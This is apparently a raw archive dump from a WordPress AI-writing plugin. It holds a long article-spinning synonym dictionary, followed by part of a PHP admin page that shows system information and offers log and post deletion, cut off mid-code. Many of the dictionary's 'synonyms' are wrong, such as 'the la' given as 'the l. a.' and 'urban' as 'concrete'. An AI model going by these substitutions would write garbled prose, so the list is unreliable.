doors|outdoor|outside which lets you|which helps you to insurrection|revolt|insurrection|rebellion|rebel|riot to annoy|to harass|to bother hole|gap determining|figuring out the instructor|the trainer|the teacher for thin|for skinny is inadequate|is insufficient of electric|of electrical domestic|home an outdoor|an outside|an out of doors less|much less simplest|easiest tired of|uninterested in|bored with motorcycle|motorbike|bike the first actual|the very first make a selection|choose|select|make a choice most longsighted|most farseeing|most far sighted|most foresightful the longest lasting|the longest enduring|the most lasting of specialised|of specialized of pliability|of flexibleness|of flexibility weight loss|weight reduction how many|what number of an overly|an excessively|a very an inconspicuous|an not noticeable|an not easily seen for that is|for that's arise|come up a shopper|a client|a consumer that at last|that eventually|that finally pass judgement on|judge each person|everyone|everybody|all and sundry|every person we provide|we offer the application|the appliance|the applying to attain|to achieve|to realize roof craftsman|roofer|roof repairer|roof artisan these tips|the following pointers|the following tips you're taking|you are taking|you take wet|moist a chargeable|a rechargeable one hundred forty|a hundred and forty impolite|rude reasons|causes unlimited|limitless being able to|with the ability to|having the ability to increase|improve|enhance facts|details|information|info family members|relations|members of the family commencement|graduation back link|back-link|backlink|oneway link|one-way link|inbound link|one way link missing|lacking female child|female offspring|female descendant|baby girl the opportunity|the chance to conventional|to standard|to traditional for a fireside|for a hearth|for a fireplace at the start|initially|firstly|at the beginning|at first|in the beginning they don't get|they do not get toilet|rest room|bathroom going down|taking place|happening you narrow|you cut|you chop plane|aircraft|airplane of amazing|of wonderful|of fantastic is a party|is a celebration era|period the los angeles|the l. a.|the la the colours|the colors set out to|got down to a grey|a gray to cite|to quote light|mild|gentle come into sight|come into view|become visible turned around|rotated|circled for someone|for somebody earn a living from home|work from home|work at home|do business from home|make money working from home verge of collapse|breaking point|snapping point misleading|deceptive against|towards|in opposition to hairy|bushy|furry marketers|entrepreneurs is a fairly|is a reasonably nutrients|vitamins the friends|the buddies|the chums 38th|thirty eighth staying power|endurance limit|restrict for correctly|for properly the garments|the clothes valueless|worthless the kidnappers|the abductors physician|doctor a group|a gaggle|a bunch for every person|for everyone to decide|to make a decision|to come to a decision|to make your mind up|to choose|to determine bring to a close|bring to an end|bring to a standstill|bring to a halt relaxing|enjoyable|stress-free simpler|easier|less complicated of college|of school|of faculty of cabinets|of cupboards sour|bitter of beautiful|of lovely|of gorgeous at this time|presently|right now|at the moment taps|faucets is occurring|is happening|is going on the method|the tactic|the strategy isn't very|is not|is not very|isn't we will|we'll|we are going to refer to|check with|discuss with|confer with|seek advice from|consult with your preferred|your selected|your chosen prices|costs such things as|things like for outside|for outdoor|for out of doors the versatility|the flexibility the size|the dimensions|the scale you might|you would possibly|you may customarily|typically|usually solving|fixing birth control|contraception impact|influence|impression|affect exquisite|beautiful all in one|multi functional|multi function a quirky|a unusual for gorgeous|for beautiful the easier|the better|the simpler to signify|to suggest|to indicate very talked-about|highly regarded|very popular the key is|the secret is|the secret's|the hot button is|the bottom line is keepsake|souvenir|memento come with|include an analogous|a similar|an identical good spot|great place|great spot recover|recuperate|get well|get better less significant|less important mag|magazine i've been|i have been so they|in order that they|so that they is suggested|is usually recommended|is recommended as it|because it this luxurious|this luxury arranged|organized haute couture|high fashion that are not|that aren't the academics|the teachers|the lecturers of bigger|of larger that personal|that private|that non-public i wished|i wanted|i needed birth|delivery|start|beginning the real|the actual|the true which provide|which give|which offer suggests that|means that three hundred|300 motorcycles|bikes glorious|superb|wonderful department shops|department stores|shops sticks out|stands proud|stands out post|submit|publish|put up the hardly|the barely the often|the usually|the customarily a fondness|a passion|a keenness slump|droop|stoop|hunch you've not|you haven't|you have not of an attractive|of a beautiful|of a pretty yet|but is pricey|is expensive|is costly is more or less|is kind of and urban|and concrete worth the|well worth the|definitely worth the closer|nearer is mandated|is remitted to customise|to customize lethargic|torpid the cabinet|the cupboard weird and wonderful|strange|bizarre|extraordinary conversant in|familiar with|acquainted with|accustomed to to deduce|to infer sports clothing|sportswear|sports clothing the good thing about|the advantage of|the benefit of you instead of|you rather than many auto|many vehicle|many automobile get closer|catch up with an extraordinarily|a very|an awfully the sparkle|the flicker|the glint a lady|a woman|a girl lately|recently|these days|currently depend on|depend upon|rely upon|rely on faraway from|away from|far from affluent|prosperous birthday party|birthday celebration|party|celebration you do a little|you perform a little innovative|revolutionary|progressive|modern objective|goal i may|i'll|i could bite|chew|chunk happened|occurred most attractive|most engaging|most tasty the fundamentals|the basics can't seem to|can not seem to built|constructed users|customers to twenty-five|to 25 that remains|that is still|that continues to be savings|financial savings mostly on|totally on some of the|a few of the|a number of the|among the is an issue|is a matter they wouldn't|they would not in an instant|immediately|instantly|right away|straight away we offer|we provide restricting|proscribing|limiting a matching|an identical apart from|aside from|other than outstanding|excellent they get ill|they fall ill|they get sick to bathroom|to rest room|to toilet unfashionable|retro this would certainly|this would definitely|this will surely go for holiday at|go to vacation at|trip at many food and drink|many food and drinks|many foods and drinks battle through|plow through|struggle through master|grasp song|music|track|tune beginner|newbie a crime|a criminal offense|against the law mixed|combined|blended be concerned|be anxious|be troubled has a tendency|tends bring to a halt|cut off|bring to an end to pull|to tug|to drag good choice|good selection|sensible choice the sorts|the kinds|the types besides|apart from|in addition to|moreover do just|do exactly|just do adds|provides together|collectively wallet|pockets say|tell|inform|notify|advise|relate|recount|narrate|explain|reveal|disclose|divulge|declare|command|order|bid|enlighten|instruct|insist|teach|train|direct|issue|remark|converse|speak|affirm|suppose|utter|negate|express|verbalize|voice|articulate|pronounce|deliver|convey|impart|assert|state|allege|mutter|mumble|whisper|sigh|exclaim|yell|sing|yelp|snarl|hiss|grunt|snort|roar|bellow|thunder|boom|scream|shriek|screech|squawk|whine|philosophize|stammer|stutter|lisp|drawl|jabber|protest|announce|swear|vow|content|assure|deny|dispute which are|that are and stylish|and classy|and trendy this is not|this isn't the normal|the traditional|the conventional is a fairly large|is a pretty big|is a reasonably large you keep|you retain accommodation|lodging 30th|thirtieth to what is|to what's whether they|whether or not they fed on|ate up|consumed technologies|applied sciences big enough|large enough|sufficiently big which is composed|which consists to transforming|to reworking|to remodeling and strategies|and methods|and techniques the fairway|the green|the golf green a canopy|a cover newshounds|reporters|journalists and fake|and faux|and pretend lack of information|ignorance|lack of knowledge|lack of know-how|lack of expertise|lack of understanding|lack of awareness|lack of knowledge is limited|is restricted|is proscribed to achieve|to realize|to attain manufacturers|producers departmental store|chain store of eleven|of 11 a hearth|a fire|a fireplace the tainted|the contaminated disappointed|dissatisfied|disenchanted|disillusioned|upset most sensible|best|top which allow you to|which let you natural or synthetic|man-made or natural|synthetic or natural suitable for eating|edible|safe to eat|fit for human consumption|fit to be eaten voiceless|unvoiced highly|extremely bring to a standstill|bring to an end|bring to a close|bring to a halt the universities|the schools|the colleges many cover|many canopy and complicated|and sophisticated|and complex for occasional|for infrequent no person|nobody|no one you don't know|you do not know blocking off|blocking|blockading top choice|best choice an ugly|an unsightly|an unpleasant to snatch|to grab for a comparatively|for a relatively put it on the market|promote it|market it|put up for sale|advertise first of all|to begin with|to start with|initially the security and safety|the safety and security the global|the worldwide rude|impolite understand|perceive there's a|there is a seem to|appear to the significance|the importance the baggage|the luggage|the bags identity|id|identification considered necessary|needful|requisite submit to|undergo the hardest|the toughest adjust|regulate|modify|alter per chance|maybe|perhaps|possibly|perchance the most recent|the newest|the latest illnesses|sicknesses|diseases and isn't|and is not they curious about|they interested in|they inquisitive about warning call|wake-up call|take-heed call|be-careful call is specific|is restricted|is particular located|situated|positioned you establish|you determine|you identify offer|supply|provide contend with|deal with|cope with|take care of going on|happening|occurring at an advantage|better off| chinese|chinese language take pleasure|show pride|take pride vote casting|voting|balloting following few|next few|following couple of done|carried out|accomplished|completed|executed|finished|achieved|performed they openly|they freely the rigors|the trials|the pains compared|in contrast clothe|dress wealthy|rich the outside|the surface|the skin asthma|bronchial asthma a common|a standard|a typical to draw|to attract far flung|faraway|remote|far off returning from|coming back from|getting back from likelihood is that|chances are high that|chances are you lately|you recently|you latterly realize it|know it|understand it using|utilizing weakness|weak spot|weak point brought|introduced stocks|shares trademarks|logos|emblems and correct|and proper setting apart|isolating|separating|keeping apart and frankly|and admittedly|and albeit a native|a local shopping|buying|purchasing|procuring who prefer|preferring will need to|might want to most well-off|most well-to-do|most well-fixed systems|methods|techniques|programs seriously|critically|significantly|severely safe haven|shelter|refuge aromatic|fragrant situations|conditions the look and feel|the feel and appear|the appear and feel to sniff|to smell can you|are you able to reduced impact|low-impact|minimal impact many oldsters|many parents|many fogeys most resemble|most have a resemblance to|most bear a resemblance to that there's a|that there is a some distance|a long way|far|a ways dark|shadowy|unlit|murky|gloomy|dim|dusky|shaded|sunless|black|dismal|sad that makes a speciality of|that focuses on|that specializes in meetings|conferences diagnosed|recognized|identified strike a chord|ring a bell it's|it is frightening|scary|horrifying and larger|and bigger most complicated|most intricate|most complex advertise|promote doesn't mean|doesn't suggest|does not imply due to the|because of the|as a result of struggling with|battling|fighting|scuffling with|combating capable|succesful accidentally|by chance|by accident|unintentionally waiting for|expecting|awaiting|anticipating|looking forward to|watching for|looking ahead to insurgent|rebel may be a|could be a the particular|the actual and youngsters|and kids|and children make clear|clarify taking drugs|shooting up|doping up|stoning up|popping up not possible|impossible the best|one of the best|the most effective|the perfect|the very best private|personal|non-public is usual|is common best option|best choice|most suitable choice the percentage|the share|the proportion you were given|you got we would like|we wish|we want the precious|the valuable|the dear is protected from|is protected against over the years|through the years|over time connection with|reference to for a normal|for a standard|for a traditional must always|should|should always to have a look|to take a look you can also|you may also|you can even|it's also possible to|you may as well|you can too|you too can and less|and fewer snow fall|snowstorm|snowfall|blizzard patient|affected person to standard|to plain|to straightforward they may be able to|they can|they are able to massage|therapeutic massage reasonably|fairly|moderately you heaps|you tons|you lots a fanciful|a fantastic|a whimsical in point of fact|actually|really|in reality|truly that pro|that professional is luxurious|is opulent|is lush and mathematics|and arithmetic front|entrance an outside|an outdoor|an out of doors and you are going|and you're going is likely|is probably going gave the look to be|seemed to be|appeared to be|gave the impression to be|looked to be to assess|to evaluate choose|select of info|of information average|common contain|include|comprise the Aristocracy|nobility along|alongside to prevent|to stop|to forestall examining|analyzing|inspecting go|recede|depart|fade|disappear|move|travel|proceed you opt|you decide|you choose technique of|strategy of for ways|for tactics|for methods running|operating|working tend|have a tendency to six|to 6 cleaning|cleansing keep in mind|bear in mind|remember|consider|take into account|have in mind|take note|be mindful|take into accout film|movie remote control|handheld remote control things|issues alleviating|assuaging that women|that ladies|that girls sincere|honest the longer term|the long run|the long term imagination|creativeness the sort|the type|the kind how to find|how to define the development|the event a prime|a major|a main|a chief|a primary|a first-rate of erosion|of abrasion a colored|a coloured be sure|make sure|ensure|be certain|make certain he's not|he is not|he isn't literally|actually balance|stability|steadiness muscles|muscle tissue|muscular tissues|muscle tissues|muscle mass|muscle groups salesclerk|shop clerk|salesperson solicit from me|inquire from me you need to|you should|you have to|you'll want to|you might want to|you must|it is advisable to|that you must|you could|it's essential to|it's essential|it is advisable|you want to|it's worthwhile to|it's good to of reworking|of transforming|of remodeling embarked on|launched into in a different way|differently|another way|otherwise that you|that you simply|that you just two decades|20 years|twenty years the attire|the apparel check in|sign in be in agreement|have the same opinion|lend a hand of what's|of what is that attracts|that draws|that pulls you'd be|you would be that you've|that you've got|that you have to these|to those for a minimum of|for no less than|for at least this allows|this enables|this permits this period of time|this time period she can|she will|she will be able to this manner|this way|this fashion getting rid of|eliminating to select|to pick|to pick out strategy to|technique to every single|each of government|of presidency most crucial|most vital|most important of a large|of a giant|of a big period in-between|meantime|interim|intervening time vacations|holidays who have|who've starting up|beginning|initiating a normal|a traditional|a standard lifestyle|way of life|life-style ice climbing|mountaineering|mountain climbing an alternative choice|another choice|another option worth|value|price to ethical|to moral there are solutions|there are answers another reason|one more reason|another excuse to disclose|to reveal disadvantaged|deprived displayed to|exhibited to of analysis|of study|of research we all|all of us aid|help|assist|support leadership|management 42nd|forty second essentially|primarily|basically you'll soon|you will soon health conditions|medical conditions a company|an organization to top quality|to high quality|to top of the range 11 november|Martinmas|St Martin's Day|11 November one hundred ten|a hundred and ten is easier|is simpler|is less complicated to represent|to symbolize an informal|an off-the-cuff|a casual you are the|you're the a perfect|an ideal points in time|deadlines|time limits|cut-off dates|closing dates realistic|practical|sensible|reasonable|real looking|lifelike|life like scarcity|shortage might|may|would possibly and that is|and that's i advise|i counsel stressful|tense|annoying|demanding|traumatic|disturbing|worrying|nerve-racking|irritating|aggravating|hectic|anxious that point|that time searching for what you offer|people searching for products/services|prospective customers|prospective buyers the adventure|the journey in line with|according to|consistent with|in keeping with|in step with leading|main is tricky|is hard|is difficult the baskets|the hampers diseases|illnesses|ailments is idea|is concept|is idea amendment|modification for religious study|for biblical studies|for bible study that electrical which there is|which there's that includes a|that features a further from|farther from the ease|the convenience|the benefit attempt|try of headband|of scarf|of headscarf in addition to|along with a personalized|a customized|a personalised relating to|referring to|regarding�������������������������������res/aiomatic-logs.php�������������������������������������������������������������������������������0000644�����������������00000112467�14757771437�0010637 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_logs() { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } if(isset($_POST['aiomatic_delete']) && isset($_POST['aiomatic_nonce']) && wp_verify_nonce( $_POST['aiomatic_nonce'], 'openai-secret-nonce')) { if($wp_filesystem->exists(WP_CONTENT_DIR . '/aiomatic_info.log')) { $wp_filesystem->delete(WP_CONTENT_DIR . '/aiomatic_info.log'); } } if(isset($_POST['aiomatic_delete_rules']) && isset($_POST['aiomatic_nonce']) && wp_verify_nonce( $_POST['aiomatic_nonce'], 'openai-secret-nonce')) { $running = array(); update_option('aiomatic_running_list', $running); $flock_disabled = explode(',', ini_get('disable_functions')); if(!in_array('flock', $flock_disabled)) { foreach (glob(get_temp_dir() . 'aiomatic_*') as $filename) { $f = fopen($filename, 'w'); if($f !== false) { flock($f, LOCK_UN); fclose($f); } $wp_filesystem->delete($filename); } } } if(isset($_POST['aiomatic_restore_defaults']) && isset($_POST['aiomatic_nonce']) && wp_verify_nonce( $_POST['aiomatic_nonce'], 'openai-secret-nonce')) { aiomatic_activation_callback(true); } if(isset($_POST['aiomatic_delete_all']) && isset($_POST['aiomatic_nonce']) && wp_verify_nonce( $_POST['aiomatic_nonce'], 'openai-secret-nonce')) { aiomatic_delete_all_posts(); } if(isset($_POST['aiomatic_delete_all_rules']) && isset($_POST['aiomatic_nonce']) && wp_verify_nonce( $_POST['aiomatic_nonce'], 'openai-secret-nonce')) { aiomatic_delete_all_rules(); } ?> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("Activity & Logging", 'aiomatic-automatic-ai-content-writer');?></h2> <nav class="nav-tab-wrapper"> <a href="#tab-0" class="nav-tab"><?php echo esc_html__("Activity Logs", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Maintenance", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("System Info", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <div id="tab-2" class="tab-content"> <h3> <?php echo esc_html__("General System Info:", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Some general system information.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <hr/> <table class="cr_server_stat"> <tr class="cdr-dw-tr"> <td class="cdr-dw-td"><?php echo esc_html__("Your User Agent:", 'aiomatic-automatic-ai-content-writer');?></td> <td class="cdr-dw-td-value"><?php echo esc_html($_SERVER['HTTP_USER_AGENT']); ?></td> </tr> <tr class="cdr-dw-tr"> <td class="cdr-dw-td"><?php echo esc_html__("PHP Memory Limit:", 'aiomatic-automatic-ai-content-writer');?></td> <td class="cdr-dw-td-value"><?php echo esc_html(ini_get('memory_limit')); ?></td> </tr> <tr class="cdr-dw-tr"> <td class="cdr-dw-td"><?php echo esc_html__("PHP DateTime Class:", 'aiomatic-automatic-ai-content-writer');?></td> <td class="cdr-dw-td-value"><?php echo (class_exists('DateTime') && class_exists('DateTimeZone')) ? '<span class="cdr-green">' . esc_html__('Available', 'aiomatic-automatic-ai-content-writer') . '</span>' : '<span class="cdr-red">' . esc_html__('Not available', 'aiomatic-automatic-ai-content-writer') . '</span> | <a href="http://php.net/manual/en/datetime.installation.php" target="_blank">more info»</a>'; ?> </td> </tr> <tr class="cdr-dw-tr"> <td class="cdr-dw-td"><?php echo esc_html__("PHP Curl:", 'aiomatic-automatic-ai-content-writer');?></td> <td class="cdr-dw-td-value"><?php echo (function_exists('curl_version')) ? '<span class="cdr-green">' . esc_html__('Available', 'aiomatic-automatic-ai-content-writer') . '</span>' : '<span class="cdr-red">' . esc_html__('Not available', 'aiomatic-automatic-ai-content-writer') . '</span>'; ?> </td> </tr> <?php do_action('coderevolution_dashboard_widget_server') ?> </table> <h3> <?php echo esc_html__("Detailed System Info:", 'aiomatic-automatic-ai-content-writer');?> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("More advanced and detailed system information.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> </h3> <hr/> <h4 class="screen-reader-text"><?php esc_html_e( 'WordPress Environment', 'aiomatic-automatic-ai-content-writer' ); ?></h4> <table class="widefat" cellspacing="0"> <thead> <tr> <th colspan="3" data-export-label="<?php echo esc_attr__( 'WordPress Environment', 'aiomatic-automatic-ai-content-writer' ); ?>"><?php esc_html_e( 'WordPress Environment', 'aiomatic-automatic-ai-content-writer' ); ?></th> </tr> </thead> <tbody> <tr> <td data-export-label="<?php echo esc_attr__( 'Home URL', 'aiomatic-automatic-ai-content-writer' ); ?>"><?php esc_html_e( 'Home URL:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"> <?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The URL of your site\'s homepage.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?> </td> <td><?php echo esc_url_raw( home_url('/') ); ?></td> </tr> <tr> <td data-export-label="<?php echo esc_attr__( 'Site URL', 'aiomatic-automatic-ai-content-writer' ); ?>"><?php esc_html_e( 'Site URL:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The root URL of your site.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <td><?php echo esc_url_raw( site_url() ); ?></td> </tr> <tr> <td data-export-label="<?php echo esc_attr__( 'WP Version', 'aiomatic-automatic-ai-content-writer' ); ?>"><?php esc_html_e( 'WP Version:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"> <?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The version of WordPress installed on your site.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <td><?php echo esc_html( bloginfo( 'version' ) ); ?></td> </tr> <tr> <td data-export-label="<?php echo esc_attr__( 'WP Multisite', 'aiomatic-automatic-ai-content-writer' ); ?>"><?php esc_html_e( 'WP Multisite:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"> <?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'Whether or not you have WordPress Multisite enabled.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?> </td> <td><?php echo ( is_multisite() ) ? '✔' : '–'; ?></td> </tr> <tr> <td data-export-label="<?php echo esc_attr__('WP Memory Limit', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'WP Memory Limit:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"> <?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The maximum amount of memory (RAM) that your site can use at one time.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?> </td> <td> <?php $memory = aiomatic_let_to_num( WP_MEMORY_LIMIT ); if ( $memory < 64000000 ) { echo '<mark class="error">' . sprintf( wp_kses_post( __( '%1$s - We recommend setting memory to at least <strong>64MB</strong>. To learn how, see: <a href="%2$s" target="_blank" rel="noopener noreferrer">Increasing memory allocated to PHP.</a>', 'aiomatic-automatic-ai-content-writer' ) ), size_format( $memory ), 'https://coderevolution.ro/knowledge-base/faq/my-allocated-wordpress-memory-is-too-low-how-do-i-increase-it/' ) . '</mark>'; } else { echo '<mark class="yes">' . esc_html( size_format( $memory ) ) . '</mark>'; } ?> </td> </tr> <tr> <td data-export-label="<?php echo esc_attr__('WP Debug Mode','aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'WP Debug Mode:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"> <?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'Displays whether or not WordPress is in Debug Mode.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?> </td> <td> <?php if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) : ?> <mark class="yes">✔</mark> <?php else : ?> <mark class="no">–</mark> <?php endif; ?> </td> </tr> <tr> <td data-export-label="<?php echo esc_attr__('Language', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'Language:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"> <?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The current language used by WordPress. Default = English', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?> </td> <td><?php echo get_locale(); ?></td> </tr> </tbody> </table> <h3 class="screen-reader-text"><?php esc_html_e( 'Server Environment', 'aiomatic-automatic-ai-content-writer' ); ?></h3> <table class="widefat" cellspacing="0"> <thead> <tr> <th colspan="3" data-export-label="<?php echo esc_attr__('Server Environment', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'Server Environment', 'aiomatic-automatic-ai-content-writer' ); ?></th> </tr> </thead> <tbody> <tr> <td data-export-label="<?php echo esc_attr__('PHP Version', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'PHP Version:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The version of PHP installed on your hosting server.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <td><?php if ( function_exists( 'phpversion' ) ) { echo esc_html( phpversion() ); } ?></td> </tr> <?php if ( function_exists( 'ini_get' ) ) : ?> <tr> <td data-export-label="<?php echo esc_attr__('PHP Post Max Size', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'PHP Post Max Size:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The largest file size that can be contained in one post.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <td><?php echo size_format( aiomatic_let_to_num( ini_get( 'post_max_size' ) ) ); ?></td> </tr> <tr> <td data-export-label="<?php echo esc_attr__('PHP Time Limit', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'PHP Time Limit:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The amount of time (in seconds) that your site will spend on a single operation before timing out (to avoid server lockups)', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <td> <?php $time_limit = ini_get( 'max_execution_time' ); if ( 600 > $time_limit && 0 != $time_limit ) { echo '<mark class="error">' . sprintf( wp_kses_post( __( '%1$s - We recommend setting max execution time to at least 600. <br /> To generate long articles, <strong>1000</strong> seconds of max execution time is recommended.<br />See: <a href="%2$s" target="_blank" rel="noopener noreferrer">Increasing max execution to PHP</a>', 'aiomatic-automatic-ai-content-writer' ) ), $time_limit, 'https://coderevolution.ro/knowledge-base/faq/how-to-increase-the-max_execution_time-settings-on-your-server/' ) . '</mark>'; } else { echo '<mark class="yes">' . esc_html( $time_limit ) . '</mark>'; if ( 1000 > $time_limit && 0 != $time_limit ) { echo '<br /><mark class="error">' . sprintf( wp_kses_post( __( '%1$s - We recommend setting max execution time to at least 600. <br /> To generate long articles, <strong>1000</strong> seconds of max execution time is recommended.<br />See: <a href="%2$s" target="_blank" rel="noopener noreferrer">Increasing max execution to PHP</a>', 'aiomatic-automatic-ai-content-writer' ) ), $time_limit, 'https://coderevolution.ro/knowledge-base/faq/how-to-increase-the-max_execution_time-settings-on-your-server/' ) . '</mark>'; } } ?> </td> </tr> <tr> <td data-export-label="<?php echo esc_attr__('PHP Max Input Vars', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'PHP Max Input Vars (optional):', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"> <?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The maximum number of variables your server can use for a single function to avoid overloads. This is an optional settings, as the plugin can handle also cases when this is lower than the required value.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?> </td> <?php $registered_navs = get_nav_menu_locations(); $menu_items_count = array( '0' => '0' ); foreach ( $registered_navs as $handle => $registered_nav ) { $menu = wp_get_nav_menu_object( $registered_nav ); if ( $menu ) { $menu_items_count[] = $menu->count; } } $max_items = max( $menu_items_count ); $required_input_vars = $max_items * 12; ?> <td> <?php $max_input_vars = ini_get( 'max_input_vars' ); $required_input_vars = $required_input_vars + ( 500 + 1000 ); if ( $max_input_vars < $required_input_vars ) { echo '<mark class="error">' . sprintf( wp_kses_post( __( '%1$s - Recommended Value: %2$s.<br />Max input vars limitation will truncate POST data such as menus. See: <a href="%3$s" target="_blank" rel="noopener noreferrer">Increasing max input vars limit.</a>', 'aiomatic-automatic-ai-content-writer' ) ), $max_input_vars, '<strong>' . $required_input_vars . '</strong>', 'http://sevenspark.com/docs/ubermenu-3/faqs/menu-item-limit' ) . '</mark>'; } else { echo '<mark class="yes">' . esc_html( $max_input_vars ) . '</mark>'; } ?> </td> </tr> <tr> <td data-export-label="<?php echo esc_attr__('SUHOSIN Installed', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'SUHOSIN Installed:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'Suhosin is an advanced protection system for PHP installations. It was designed to protect your servers on the one hand against a number of well known problems in PHP applications and on the other hand against potential unknown vulnerabilities within these applications or the PHP core itself. If enabled on your server, Suhosin may need to be configured to increase its data submission limits.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>';?></td> <td><?php echo extension_loaded( 'suhosin' ) ? '✔' : '–'; ?></td> </tr> <?php if ( extension_loaded( 'suhosin' ) ) : ?> <tr> <td data-export-label="<?php echo esc_attr__('Suhosin Post Max Vars', 'aiomatic-automatic-ai-content-writer'); ?>"><?php esc_html_e( 'Suhosin Post Max Vars:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The maximum number of variables your server can use for a single function to avoid overloads.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>'; ?></td> <?php $registered_navs = get_nav_menu_locations(); $menu_items_count = array( '0' => '0' ); foreach ( $registered_navs as $handle => $registered_nav ) { $menu = wp_get_nav_menu_object( $registered_nav ); if ( $menu ) { $menu_items_count[] = $menu->count; } } $max_items = max( $menu_items_count ); $required_input_vars = $max_items * 12; ?> <td> <?php $max_input_vars = ini_get( 'suhosin.post.max_vars' ); $required_input_vars = $required_input_vars + ( 500 + 1000 ); if ( $max_input_vars < $required_input_vars ) { echo '<mark class="error">' . sprintf( wp_kses_post( __( '%1$s - Recommended Value: %2$s.<br />Max input vars limitation will truncate POST data such as menus. See: <a href="%3$s" target="_blank" rel="noopener noreferrer">Increasing max input vars limit.</a>', 'aiomatic-automatic-ai-content-writer' ) ), $max_input_vars, '<strong>' . ( $required_input_vars ) . '</strong>', 'http://sevenspark.com/docs/ubermenu-3/faqs/menu-item-limit' ) . '</mark>'; } else { echo '<mark class="yes">' . esc_html( $max_input_vars ) . '</mark>'; } ?> </td> </tr> <tr> <td data-export-label="<?php echo esc_attr__( 'Suhosin Request Max Vars', 'aiomatic-automatic-ai-content-writer' ); ?>"><?php esc_html_e( 'Suhosin Request Max Vars:', 'aiomatic-automatic-ai-content-writer' ); ?></td> <td class="help"><?php echo '<a href="#" class="help_tip" data-tip="' . esc_attr__( 'The maximum number of variables your server can use for a single function to avoid overloads.', 'aiomatic-automatic-ai-content-writer' ) . '">[?]</a>', 'aiomatic-automatic-ai-content-writer'; ?></td> <?php $registered_navs = get_nav_menu_locations(); $menu_items_count = array( '0' => '0' ); foreach ( $registered_navs as $handle => $registered_nav ) { $menu = wp_get_nav_menu_object( $registered_nav ); if ( $menu ) { $menu_items_count[] = $menu->count; } } $max_items = max( $menu_items_count ); $required_input_vars = ini_get( 'suhosin.request.max_vars' ); ?> <td> <?php $max_input_vars = ini_get( 'suhosin.request.max_vars' ); $required_input_vars = $required_input_vars + ( 500 + 1000 ); if ( $max_input_vars < $required_input_vars ) { echo '<mark class="error">' . sprintf( wp_kses_post( __( '%1$s - Recommended Value: %2$s.<br />Max input vars limitation will truncate POST data such as menus. See: <a href="%3$s" target="_blank" rel="noopener noreferrer">Increasing max input vars limit.</a>', 'aiomatic-automatic-ai-content-writer' ) ), $max_input_vars, 